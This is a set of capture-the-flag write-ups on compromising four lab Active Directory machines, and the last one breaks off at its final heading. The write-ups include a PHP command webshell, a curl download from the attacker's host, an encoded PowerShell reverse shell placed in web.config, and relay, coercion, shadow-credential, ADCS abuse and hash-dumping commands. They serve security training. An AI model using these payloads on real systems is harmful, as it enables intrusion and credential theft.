Redelegate, an AD machine from Vulnlab involved enumerating ftp to find a keepass database file and password format, cracking the file lead to accessing MSSQL and enumerating domain users through SUSER_SNAME and SUSER_ID , password spraying to gain access to a user, escalating privileges through ForceChangePassword , having GenericAll on a machine account and SeEnableDelegation privilege enabled, gaining administrator by performing Constrained Delegation.

21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)  
| 10-20-24  12:11AM                  434 CyberAudit.txt
| 10-20-24  04:14AM                 2622 Shared.kdbx
|_10-20-24  12:26AM                  580 TrainingAgenda.txt 
| ftp-syst:                  
|_  SYST: Windows_NT              
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-25 15:33:52Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: redelegate.vl0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?                    
464/tcp  open  kpasswd5?                                  
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:

From the scan we have ports 21, 445 from where we could login as anonymous user and look for files

FTP shows two text files, talking about recent audit findings where unused objects and misconfigured ACLs are still in the domain also there’s a potential password format SeasonYear!

So this is giving us a hint on creating a wordlist of seasons for the year 2024, we can simply create that

Spring2024!
Summer2024!
Fall2024!
Autumn2024!
Winter2024!

Now one thing to note is whenever we are transferring files from FTP, it is recommended to use binary mode instead of ascii, reason being when transferring from windows to linux, it will convert the line endings accordingly (as they are different in both OS on how to they add line feed), with binary it will transfer the file as it is

Here this keepass file was downloaded with ascii mode and probably is the reason why it didn’t get cracked, changing mode to binary with binary

The last part of hash can be seen being different in both of the modes

ca4e19 - ascii
 
ca   - binary

Moving on to accessing this file with kpcli , kdbx file can be access with open followed by the password we have

With show -f we can reveal the passwords

We have six credentials that we can spray , to see which one is valid, spraying on smb didn’t worked, trying it on mssql

impacket-mssqlclient SQLGuest@10.10.82.7

Trying to use xp_cmdshell to execute commands we can see this user doesn’t have privileges to do that

On coercing authentication with xp_dirtree in order to can get NTLMv2 challenge/response hash of the user with which the mssql service is running

From here we can’t do much since NTLMv2 cannot be cracked and we cannot execute any meaningful stored procedures which can either help us in enumerating the file system or executing any commands but luckily there’s a function named SUSER_SID that returns the Security Identifier (SID) for the specified user.

select sys.fn_varbintohexstr(SUSER_SID('redelegate\Administrator'))

This SID is in hex, we can covert this into a proper SID format by using the script mentioned in this article

import struct
import sys
def prepare_sid(sid):
    hex_string = bytes.fromhex(sid[2:])
    mod_sid = sid_to_str(hex_string)
    domain_sid_data = mod_sid.split('-')[:7]
    domain_sid = '-'.join(domain_sid_data) + "-"
print(domain_sid+"\n")
    return domain_sid
def sid_to_str(sid):
    if sys.version_info.major < 3:
        revision = ord(sid[0])
    else:
        revision = sid[0]
    if sys.version_info.major < 3:
        number_of_sub_ids = ord(sid[1])
    else:
        number_of_sub_ids = sid[1]
    iav = struct.unpack('>Q', b'\x00\x00' + sid[2:8])[0]
    sub_ids = [struct.unpack('<I', sid[8 + 4 * i:12 + 4 * i])[0]
               for i in range(number_of_sub_ids)]
    return 'S-{0}-{1}-{2}'.format(revision, iav, '-'.join([str(sub_id) for sub_id in sub_ids]))
prepare_sid("0x010500000000000515000000a185deefb22433798d8e847af4010000")

This will return the domain SID in proper which we can use to append administrator’s SID to verify if we can enumerate users like this

Now we need to iterate over the user SID part

select (SUSER_SNAME(SID_BINARY(N'S-1-5-21-4024337825-2033394866-2055507597-500')))

We can use a for loop to increment the user id, have those queries in a text file and pass it to mssqclient with -file parameter

for i in range(500, 10000 + 1, 1):
    print(f"select (SUSER_SNAME(SID_BINARY(N'S-1-5-21-4024337825-2033394866-2055507597-{i}')))")

After some time we’ll be seeing few domain users, we can utilize them to either check for as-rep roast or spray the password wordlist we have which will lead us to Marie.Curie

Running bloodhound to enumerate the domain using python-bloodhounud

bloodhound-python -d redelegate.vl -u 'Marie.Curie' -p 'password'  -c all -ns 10.10.92.151

Through Marie.Curie we can change password of Helen.Frost with ForceChangePassword, since this user is part of helpdesk group and then can logon to DC

Password can be changed with either net rpc or rpcclient

net rpc password "Helen.Frost" -U "redelegate.vl"/"Marie.Curie" -S 10.10.92.151

Having the password changed, we can login through evil-winrm

Checking the privileges we have SeEnableDelegationPrivilege privilege

With this privilege, we can configure the delegation attributes are set on the service resulting in either unconstrained or constrained delegation, for this to work we need ability to add an machine account or have control over one, in this case we have machine quota set to 0

But we have GenericAll on FS01$ through which can reset the password and gain control over this account

net rpc password "FS01$" -U "redelegate.vl"/"Helen.Frost" -S 10.10.92.151

Now to configure constrained delegation, we need to set two attributes, the first TRUSTED_TO_AUTH_FOR_DELEGATION which is for enabling delegation, then msDS-AllowedToDelegateTo which is for specifying for which service and host it can delegate to. This can be set with using powershell ADModule

Set-ADComputer -Identity FS01 -Add @{'msDS-AllowedToDelegateTo'=@('cifs/dc.redelegate.vl')}
Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True

The properties can be verified by looking for computers configured with constrained delegation

Get-ADComputer -Filter * -Properties msDS-AllowedToDelegateTo | Where-Object { $_.'msDS-AllowedToDelegateTo' -ne $null } | Select-Object Name, msDS-AllowedToDelegateTo

This can also be done with impacket-findDelegation

Impersonating as administrator didn’t work as it had CannotBeDelegated set to True

There’s another domain admin, RYAN.COOPER , which we can impersonate

With this ticket we can gain remote access through ps/wmi/smb exec or dump hash to logon as admin

impacket-secretsdump redelegate.vl/ryan.cooper@dc.redelegate.vl -k -no-pass

References

• https://serverfault.com/questions/18619/on-what-basis-should-you-select-acsii-or-binary-transfers-over-ftp
• https://keramas.github.io/2020/03/22/mssql-ad-enumeration.html
• https://www.guidepointsecurity.com/blog/delegating-like-a-boss-abusing-kerberos-delegation-in-active-directory/

Mist an insane difficult machine involved an instance of pluck being vulnerable to both local file inclusion (LFI) and remote code execution (RCE), uploading a php shell in a excluded directory to avoid defender flagging it, enumerating the filesystem to escalate privileges through lnk files, with ligolo-ng pivoting into the network to reach DC01 in order to perform shadow credentials through NTLM relay over HTTP (since SMB signing was enabled) on MS01 , with administrator enumerating the file system again to find keepass file with credentials which had ReadGMSA, performing shadow credentials again on a domain user and then escalating to domain admin through ESC13 abuse.

Nmap scan report for 10.10.11.17
Host is up (0.30s latency).          
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION  
80/tcp open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-generator: pluck 4.7.18                        
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/                     
| http-methods:                   
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-title: Mist - Mist
|_Requested resource was http://10.10.11.17/?file=mist
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set

From the scan we have only port 80 open, visiting the web server we have Pluck hosted

On trying to login we’ll see the version being disclosed

This version is vulnerable to authenticated remote code execution but currently we don’t have any credentials

Trying the default ones like password and admin:admin didn’t worked, fuzzing for files, there’s cgi-bin directory which can reveal something here

So fuzzing again at this directory for any pl files, we can find printenv.pl

This file lists some configuration for XAMPP, showing a username as well, svc_web

Getting admin access through Local File Inclusion (LFI)

Checking the github issues for Pluck CMS, there seems to be LFIon /data/modules/albums/albums_getimage.php?image=

On trying to read /etc/passwd it was detecting ../

We can however view the albums on pluck cms as shown in the poc for LFI from where we can list contents of albums directory revealing admin_backup.php

This can be read by just appending admin_backup.php to image parameter

Having the admin hash, we can attempt to crack it using hashcat by using mode 1700 which is for SHA-512

hashcat -a 0 -m 1700  ./admin_hash.txt /usr/share/wordlists/rockyou.txt --force

With this password we can login as admin on pluck

Gaining a shell as svc_web

Now we can use the previous RCE exploit, uploading a module by zipping a php file having GET parameter being passed into system function for executing commands

<?php system($_GET['cmd']); ?>

But this file will be deleted within 1–2 minutes so there’s probably a cleanup script or defender removing these files, for getting a shell, upload and execute netcat to get a reverse shell as svc_web

Again as soon as the php file gets removed our shell will die

So what we can do here is to upload a php file in defender’s exclusion list where it wont’ delete any malicious files, checking the permissions of C:\xampp, we have write access on this directory, so we can upload a php file there and then get a shell

<?php system('curl http://10.10.16.17/uwu.php -o C:/xampp/htdocs/uwu.php'); ?>

Checking the privileges of this local user, it doesn’t seem to have any privilege which can lead to local admin

Running arp -a to see the hosts on the network we get one IP 192.168.100.100 which seems it's the IP of domain controller

For accessing this host from our kali machine we need to perform pivoting from MS01 using ligolo-ng

sudo ip link set ligolo up
sudo ip route add 192.168.100.0/24 dev ligolo

We can confirm the reachability of DC01 by pinging or running nxc to check smb

Here I tried checking guest account for brute forcing SIDs to get a list of domain users but that account was disabled

Also tried checking for AS-REP roasting on the two domain accounts we can see on MS01 but it also failed

Enumerating shares with null authentication didn’t yield any stuff as well

Moving back to MS01 and enumerating the system by uploading winpeas in C:/xampp/htdocs/ as it is excluded by defender

Escalating Privileges (brandon.keywarp)

Brandon.keywarp is logged in onto this system so there might be some tasks or files being checked by this user, there's also Common Applications directory which is writable by local users

This directory contains few lnk files

Transferring any one of the lnk files on our windows machine to edit the location of the shortcut

Now editing this lnk file to execute nc from C:\xampp\htdocsto get a shell

From here we can run bloodhound to enumerate the domain

Brandon didn’t had any ACLs and wasn’t in any special group

It’s the same with Sharon

But there’s Operatives group which has ReadGMSAPasswowrd on SVC_CA$ account

And this group has these two group members who can also PSRemote (gain remote session through winrm) on DC01

Recovering brandon’s NThash

Since smb signing is enabled on DC01, we need to relay using HTTP authentication which can be done only if WebClient service is enabled which is currently disabled, this can be checked using GetWebDAVStatus

For enabling this service, start responder then try mapping the share to kali machine with http protocol

Since we have a shell as brandon, we can verify if ADCS is installed on DC using certutil

Using certify we can list down the templates which are enabled, if User template is enabled we can then request a certificate and get the NTHash of brandon

Certify.exe request /ca:DC01.mist.htb\mist-DC01-CA /template:User /domain:mist.htb

Converting the pem into pfx file in order to use it for authenticating from certipy to retrieve NTLM hash of brandon

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

certipy auth -pfx cert.pfx  -dc-ip 192.168.100.100  -username Brandon.Keywarp -domain mist.htb

Shadow Credentials Through NTLM Relay

Now that have brandon’s hash, we can use PetitPotam to cause coercion for MS01 with webdav protocol which is going to perform HTTP authentication leading to shadow credentials on MS01 but before that let’s verify if we can coerce the authentication on smb, for this we need to start chisel with socks proxy

chisel.exe client 10.10.16.43:9000 R:socks
chisel server --reverse -p 9000

For HTTP coercion, webclient service will be enabled on port 8080, so we need to redirect that port from MS01 to our kali machine this is known as port bending, for this I’ll be using StreamDivert for redirecting outbound traffic on port 8080 to my kali machine on port 80

tcp > 8080 0.0.0.0 -> 10.10.16.43 80

Running PetitPotam again, this time setting the listener to be MS01

proxychains python3 /opt/PetitPotam/PetitPotam.py -u brandon.keywarp -hashes ':hash' MS01@8080/test 192.168.100.101

This machine account hash can now be relayed to DC01 on ldaps to perform shadow credentials using ntlmrealyx (make sure turn HTTP Off from responder.conf), normally machine accounts can edit their own msDS-KeyCredentialLink attribute but to my surprise this did not worked as it showed it's missing some rights here

This is probably due to value is already set and for some reason we cannot overwrite this property, there’s another variation of ntlmrelayx which supports both clearing and setting the value of msDS-KeyCredentialLink using an interactive ldap shell, so relaying it again but this time using this version

Getting administrator on MS01

We now have the certificate and the password, using gettgtpkinit from PKINITools we can retrieve MS01 aeskey and TGT

NTHash can be recovered as well either by certipy auth or using Rubeus

Rubeus.exe asktgt /user:MS01$ /domain:mist.htb  /certificate:./orGRT9Km.pfx /password:aCSx4xhH2ZqvYxSAseyK /getcredentials /nowrap

Impersonating as local admin on MS01 using HOST service

Rubeus.exe s4u /self /user:MS01$ /rc4:4A74FC05400345D580CF58AEC3E6D833 /altservice:host/ms01.mist.htb /impersonateuser:administrator /ptt /nowrap

Converting this kirbi (base64) ticket into ccache which is supported by impacket

And using wmiexec.py to get an interactive shell as admin

This can also be done purely through linux

proxychains ticketer.py -domain-sid S-1-5-21-1045809509-3006658589-2426055941 -domain mist.htb -spn HOST/MS01.mist.htb -nthash 4A74FC05400345D580CF58AEC3E6D833 -user-id 500 Administrator

Shell as OP_Sharon

From bloodhound we saw OP_Sharon is member of Operatives group who ha ReadGMSA permission on SVC_CA$ and had PSRemote on DC, so sharon on MS01 might be interesting, checking the documents directory we have sharon.kdbx file which is a keepass database file

Reading this file will required a password

From pictures directory, we have two image files

The second image shows us a password

The text UA7cpa[#1!_*ZX doesn't represent the base64 encoded value in the image

So we might be missing some characters that we need to recover, creating a wordlist with crunch to brute force the last character

Having the master password we can access the keepass file and get the password for sharon

For moving forward, pivoting using ligolo-ng as proxychains is a bit slow in reaching to MS01 internal ports and DC01, by creating ligolo interface device and adding 192.168.100.0/24 route

Spraying this password on both sharon and op_sharon

Since op_sharon has PSRemote on DC, we can login through winrm

For reading GMSA password, we can use AD module but I’ll be using gMSADumper

python3 /opt/gMSADumper/gMSADumper.py -u 'OP_SHARON.MULLARD' -p 'pass' -d mist.htb -l 192.168.100.100

Shadow credentials on SVC_CABACKUP

Now with this account we can get access to SVC_CABackup user by having AddKeyCredentialLink access control, which basically is again performing shadow credentials attack through pyWhisker

python3 pywhisker.py  -u 'svc_ca$' -H 'hash' -t SVC_CABACKUP -a add  -d mist.htb --dc-ip 192.168.100.100

To retrieve the NThash, using the same steps which were performed for MS01$

Rubeus.exe asktgt /user:SVC_CABACKUP /domain:mist.htb  /certificate:./SW9Iavcw.pfx /password:ciCdAJ1qPObnqR57ltDL /getcredentials /nowrap

Getting Domain Admin Through ESC13

Recently two new ADCS attacks were introduced dubbed as ESC13 & ESC14, from certipy’s github issues we can see support for ESC13 being added as well

So cloning this version of certipy , we can find a certificate template ManagerAuthentication being vulnerable to ESC13

This template has an Extended Key Usage (EKU) for Client Authentication which means that through this certificate we can perform authentication, this certificate is linked with Certificate Managers group and members of certificate services can enroll for this certificate

This can grant privileges of a linked group to the user who enrolls for it without being part of that group, this is known as ESC13. Requesting the certificate with ManagerAuthentication template, this is going to show an error for public key not meeting the minimum size

By default certipy uses 2048 as the length of public key, this can be changed to 4096 with -key-size parameter

certipy req -u 'SVC_CABACKUP' -hashes 'hash' -ca 'mist-DC01-CA' -dc-ip 192.168.100.100 -template 'ManagerAuthentication' -key-size 4096

We have the certificate for svc_backup but this holds the permissions of certificate managers, so requesting a TGT with this certificate

python3 gettgtpkinit.py -cert-pfx ./svc_cabackup.pfx -dc-ip 192.168.100.100 mist.htb/SVC_CABACKUP SVC_CABACKUP.ccache

Listing the templates again, we can see BackupSvcAuthentication can be enrolled with CA Backup members which we are with the current certificate that we have

On requesting this certificate we can again privileges of ServiceAccounts group which is a member of Backup Operators group

Being in this group we can backup the registry hives to dump SAM hashes of DC account and then perform DCSync

certipy req -u 'SVC_CABACKUP@mist.htb' -k -no-pass -ca 'mist-DC01-CA' -dc-ip 192.168.100.100  -target DC01.mist.htb -template 'BackupSvcAuthentication' -key-size 4096

Exporting this TGT and starting smb server through smbserver.py to backup the SAM, SYSTEM and SECURITY from the registry hive using reg.py

(For dumping SYSTEM file, it will take some time), after having these 3 files running secretsdump.py locally and using the $MACHINE.ACC hash to performing dcsync

References

• https://www.exploit-db.com/exploits/51592
• pluck-cms/pluck#122
• https://github.com/G0ldenGunSec/GetWebDAVStatus
• https://github.com/jellever/StreamDivert
• fortra/impacket#1402
• https://github.com/micahvandeusen/gMSADumper
• https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53

Cicada is a standalone windows machine enabled with only kerberos authentication that involved enumerating NFS share to find domain credentials, enumerating ADCS (Active Directory Certificate Services) to find web enrollment being enabled which leads to ESC8 (Relay to CA server), since NTLM authentication was disabled, by joining a windows VM to the domain, with RemoteKrbRelay relaying kerberos authentication

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0        
|_http-title: IIS Windows Server                          
| http-methods:                                   
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-11 18:09:49Z)
111/tcp  open  rpcbind?
| rpcinfo: 
|   program version    port/proto  service
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|_  100003  2,3,4       2049/tcp6  nfs
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC-JPQ225.cicada.vl
| Issuer: commonName=cicada-DC-JPQ225-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-09-13T10:42:50
| Not valid after:  2025-09-13T10:42:50
| MD5:   2b54:f7f1:53c6:0241:c432:c868:1d86:5ec7
|_SHA-1: eef8:12f9:0a11:c0d5:16c1:c499:9abf:3341:4419:6a2b
|_ssl-date: TLS randomness does not represent time
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC-JPQ225.cicada.vl
| Issuer: commonName=cicada-DC-JPQ225-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-09-13T10:42:50
| Not valid after:  2025-09-13T10:42:50
| MD5:   2b54:f7f1:53c6:0241:c432:c868:1d86:5ec7
|_SHA-1: eef8:12f9:0a11:c0d5:16c1:c499:9abf:3341:4419:6a2b
|_ssl-date: TLS randomness does not represent time
2049/tcp open  nfs           2-4 (RPC #100003)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC-JPQ225.cicada.vl
| Issuer: commonName=cicada-DC-JPQ225-CA
| Public Key type: rsa
| Public Key bits: 2048
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC-JPQ225.cicada.vl
| Issuer: commonName=cicada-DC-JPQ225-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-09-13T10:42:50
| Not valid after:  2025-09-13T10:42:50
| MD5:   2b54:f7f1:53c6:0241:c432:c868:1d86:5ec7
|_SHA-1: eef8:12f9:0a11:c0d5:16c1:c499:9abf:3341:4419:6a2b
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-10-11T18:11:17+00:00; +9s from scanner time.
| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl
| Issuer: commonName=DC-JPQ225.cicada.vl
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-09-12T15:21:57
| Not valid after:  2025-03-14T15:21:57
| MD5:   e356:22df:9b7a:d588:46f6:a65e:3788:73e1
|_SHA-1: d206:e12e:961c:9184:3789:b9fd:c616:4942:c661:7ae7
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable

Visiting the page as we have port 80 open, we get nothing but IIS default page

Enumerating shares

Next we can enumerate smb and nfs share while being unauthenticated, from smb we get an error message, so it might not be accessible without credentials or it’s just NTLM authentication is disabled and only kerberos is allowed

With showmount we can list the directories that are available to be mapped from our host

sudo mount -t nfs 10.10.89.234:/profiles  /home/arz/Vulnlabs/Cicada/share

From this share, we get home directories of domain users from which we can explore and create a list of users that maybe helpful in as-rep roasting or password spraying

In administrator’s directory, we have vacation.png file

The image doesn’t hold anything meaningful

However, from Rosie.Powell's directory we have another image, marketing.png

This image holds a password, so we can try this on Rosie since it was in this user’s directory

But when enumerating the shares through netexec we’ll be shown an error of “not supported”

Authenticating with kerberos

We saw the same error earlier with smbclient, so to authenticate with kerberos just add -k as an argument also add the machine name which was found through nmap in hosts file

nxc smb DC-JPQ225 -u 'Rosie.Powell' -d cicada.vl -p password -k

Alternatively we can use getTGT from impacket and smbclient to enumerate shares

We already went through profiles$ share as it was available for mounting on nfs, there's CertEnroll which means this server is also ADCS (Active Directory Certificate Services), we can enumerate for enabled/vulnerable certificate templates through certipy

certipy-ad find -u 'Rosie.Powell' -vulnerable -stdout -k -no-pass -target DC-JPQ225

Performing kerberos Relay with ESC8

The output shows that web enrollment is enabled which is found very common to be vulnerable as relaying NTLM authentication is possible to the web enrollment service by coercing HTTP authentication request for a certificate on behalf of domain controller but here we only have only one server also NTLM authentication is disabled from what we saw and self relaying isn’t possible

It’s possible to add a machine account if the quota allows us, this can be checked with netexec

We can add a machine account by first spinning up a windows VM, connecting it to vulnlab’s vpn, adding domain controller’s IP as the DNS server and join it with the domain

Set the DNS IP to domain controller

To join this to a domain, go to control panel, system and then reanme this pc (advanced)

Now to perform kerberos realy on ADCS web enrollment, A tool called RemoteKrbRelay can be used which is similar to Krbrealyup except that this can be used to perform kerberos relay remotely instead of doing it locally

I do want to point an issue I faced, don’t know if this was only with me but after compiling and running it, visual studio wasn’t including BouncyCastle so the binary would scream for not having that dependency included

This isn’t a big issue as we can just place the dll in the folder from where we are executing the binary and it should work

RemoteKrbRelay.exe -adcs -template DomainController -victim dc-jpq225.cicada.vl -target dc-jpq225.cicada.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3

Copying the base64 pfx certificate, with PKINIT tools , we can request the NThash or TGT of domain controller and then use it to dump hash of domain admin

python3 /opt/PKINITtools/gettgtpkinit.py -pfx-base64 $(cat ./cert.pkcs12) -dc-ip IP cicada.vl/'DC-JPQ225$' dc.ccache

Retrieving TGT of administrator and then getting a shell through wmiexec

References

• https://x.com/decoder_it/status/1842180729695842676
• https://github.com/CICADA8-Research/RemoteKrbRelay

Heron from vulnlab, had a linux jump server access to domain controller, using chisel for socks proxy, enumerating the internal website for domain users and performing AS-REP roasting, decrypting GPP password from the sysvol share, leading to smb share having write access to web.config, gaining a shell by using AspNetCoreModule for executing powershell commands which lead to finding linux admin’s credentials, reusing the same password that will lead to another user which has WriteAccountRestrictions on dc that leads to resource based delegation

Jump server

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 10:a0:bd:2a:81:3d:37:5d:23:75:c8:d2:83:bf:2a:23 (ECDSA)
|_  256 bd:32:29:26:4d:41:d7:56:01:37:bc:10:0c:de:45:24 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The server had only port 22 with the credentials provided on vulnlab wiki as this chained machine is an assumed breach scenario pentest:Heron123!

Checking for privileges, we can’t use sudo as this user isn’t in sudoers group

From the user’s directory, two users svc-web-accounting and svc-web-accounting-d belong to heron.vl , having only usernames there's only as-rep roasting we could try if these domain users have pre-authentication not required, this could give us the as-rep hash so we can try cracking to get the plain text password.

Checking the internal ports, there’s only ssh here

To proceed with as-rep roasting we need to perform pivoting as we directly cannot reach domain controller, this can be done with either chisel or ligolo-ng, I’ll be using chisel since we only need to access one host, if it were a network then ligolog would have been a better option for that

chisel server --reverse -p 3000
chisel client 10.8.0.136:3000 R:socks

With Get-NPUsers to check the pre-authentication not required, both of the users had that required

Bruteforcing the SIDs with guest account was not possible too as that account was disabled

Visiting the web page, we have a pager about heron corp with three more usernames at the bottom

Trying to check pre-auth again with these users, we’ll get samuel.davies’s hash and cracking it with hashcat

Decrypting GPP password

Enumerating the shares, samuel had read access on sysvol , home and write on transfer$ which seem to be only two interesting shares right now

Then transfer share was empty, home had bunch of user directories including samuel which was also didn’t had anything

However, from SYSVOL share in one of the policy directory, we can find encrypted password for svc-web-accounting

Decrypting this with GPP-decrypt python script

GPP password can also be recovered through nxc/cme with gpp_password module

proxychains  nxc smb 10.10.196.37 -u 'samuel.davies' -p 'pass' -M gpp_password

Checking the access on smb shares with svc-web-accounting-d, there’s write access on accounting share

The accounting share has the application files including the web.config

Getting a shell through web.config

Since we have write access to web.config we can edit that and execute system commands through AspNetCoreModule but this method is destructive as it replaces the config file and can cause application to not function as in this scenario the application is working through the use of AccountingApp.dll in the config file

But before we attempt this we need to first figure out where config is being hosted as from the previous website we found it wasn’t there, from the share name this hints us to use accounting as vhost

This site will ask for credentials where svc-web-accounting-d’s creds will work

The data here was being reflected from the dll which can be analyzed by either ILSpy or DNSpy

Following this article https://soroush.me/blog/tag/rce/, to replace the path with any which does not exist, changing the processpath to be powershell and in the arguments placing base64 encoded reverse shell to receive on jump server

<?xml version="1.0" encoding="utf-8"?>  
<configuration>  
  <location path="." inheritInChildApplications="false">  
    <system.webServer>  
      <handlers>  
        <add name="aspNetCore" path="execute.now" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified" />  
      </handlers>  
      <aspNetCore processPath="powershell" arguments="-e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AOAAuADAALgAxADMANgAiACwAMgAyADIAMgApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" hostingModel="OutOfProcess" />  
    </system.webServer>  
  </location>  
</configuration>  
<!--ProjectGuid: 803424B4-7DFD-4F1E-89C7-4AAC782C27C4-->

Now deleting the web.config and replacing it with our modified one then making a request to the webpage with /execute.now

After getting a shell, running bloodhound to enumerate the domain

proxychains bloodhound-python -d 'heron.vl' -u 'svc-web-accounting-d' -p 'password'  -c all -ns 10.10.237.21

But from bloodhound, it didn’t showed any path leading to privilege escalation/lateral movement

Escalating privileges on jump server

Enumerating C:\Windows, we’ll find scripts folder which is unusual to be there, ssh. ps1 file having credentials to_local user

Switching to user and escalating privileges to root user

From here we can only do much about reading the NThash of frajmp from /etc/krb5.keytab

Since we have password of _local, we can try password spraying on domain users which will work on Julian.Pratt

We can’t login directly on domain controller since it requires non admins to be in remote desktop group, home directory can be access through home$ share

From here we can grab the shortcut files for putty sessions from where we’ll get the password of adm_prju

Abusing Resource Based Delegation

